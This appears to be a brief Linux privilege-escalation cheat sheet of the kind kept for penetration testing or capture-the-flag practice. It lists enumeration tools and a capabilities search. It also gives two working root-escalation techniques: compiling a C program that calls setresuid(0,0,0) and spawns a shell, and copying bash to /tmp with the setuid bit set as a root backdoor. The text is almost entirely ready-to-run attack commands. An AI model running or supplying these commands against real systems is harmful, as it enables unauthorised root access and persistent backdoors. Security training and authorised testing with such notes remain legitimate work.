Linux Privesc

Tools

• linPEAS
• LinEnum
• LES (Linux Exploit Suggester)
• Linux Smart Enumeration
• Linux Priv Checker

Capabilities

getcap -r / 2>/dev/null

SetUID

echo 'int main(){setresuid(0,0,0);system("/bin/sh");}' > tmp.c
gcc tmp.c -o tmp

cp /bin/bash /tmp/bash && chmod u+s /tmp/bash
/tmp/bash -p